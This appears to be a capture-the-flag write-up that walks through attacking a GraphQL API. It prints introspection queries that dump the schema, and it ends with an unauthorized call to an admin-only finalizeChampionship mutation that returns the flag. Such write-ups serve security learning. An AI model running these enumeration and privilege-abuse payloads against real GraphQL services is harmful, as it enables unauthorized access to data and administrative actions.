Full Schema Dump

Whenever a target is backed by GraphQL, the first move is to check whether introspection is enabled. A single introspection query against /api/graphql returns every type, field, and argument the schema exposes, giving a complete blueprint of the API in one request.

{"query":"{\n  __schema {\n    queryType { name }\n    mutationType { name }\n    subscriptionType { name }\n    types {\n      name\n      kind\n      description\n      fields {\n        name\n        args { name type { name kind ofType { name kind } } }\n        type { name kind ofType { name kind } }\n      }\n    }\n  }\n}"}

Discovering Operations

With introspection confirmed, the next step is to narrow the schema down to the operations that are actually callable. Querying queryType lists every available query, and mutationType lists every mutation along with its arguments.

{"query":"{\n  __schema {\n    queryType {\n      fields {\n        name\n        description\n        args { name type { name kind } }\n        type { name kind }\n      }\n    }\n  }\n}"}

{"query":"{\n  __schema {\n    mutationType {\n      fields {\n        name\n        description\n        args { name type { name kind ofType { name kind } } }\n      }\n    }\n  }\n}"}

The mutation list is where things got interesting, a finalizeChampionship mutation stood out immediately. Anything that “finalizes”, “unlocks”, or “overrides” state is a prime candidate for broken access control.

To know what to inspect next, I needed each mutation’s return type. Extending the mutation enumeration to include the type field (and its ofType chain to unwrap NON_NULL/LIST wrappers) showed that finalizeChampionship returns a ChampionshipResult.

{"query":"{\n  __schema {\n    mutationType {\n      fields {\n        name\n        type {\n          name\n          kind\n          ofType { name kind }\n        }\n        args { name type { name kind ofType { name kind } } }\n      }\n    }\n  }\n}"}

Inspecting the ChampionshipResult Type

finalizeChampionship returns a ChampionshipResult, so the next step was to inspect that type directly to see exactly which fields it exposes. The nested ofType chain matters here, the NON_NULL and LIST wrappers hide the actual scalar underneath.

{"query":"{\n  __type(name: \"ChampionshipResult\") {\n    name\n    kind\n    description\n    fields {\n      name\n      description\n      type { name kind ofType { name kind ofType { name kind } } }\n    }\n  }\n}"}

The type exposed a prizeCode field, exactly the kind of code/secret/token field worth hunting for in a CTF.

Hunting for Hidden Operations

Before firing the mutation, I scanned the full list of query names for anything administrative or debug-related that the frontend never references. Introspection reveals them all, regardless of whether the UI links to them.

{"query":"{\n  __schema {\n    queryType {\n      fields {\n        name\n      }\n    }\n  }\n}"}

This confirmed finalizeChampionship was the privileged operation to target, an admin-style action that should never be reachable by a regular authenticated user.

Finalizing the Championship

With the schema fully mapped, the final step was to call the mutation directly, supplying seasonId: "1" and requesting the prizeCode field in the response. No admin role or special privilege was required, the server happily finalized the season and returned the prize code.

{"query":"mutation {\n  finalizeChampionship(seasonId: \"1\") {\n    seasonId\n    champion\n    finalized\n    prizeCode\n  }\n}"}

The prizeCode field on the ChampionshipResult contained the flag, completing the challenge by performing an administrative action that should never have been authorized.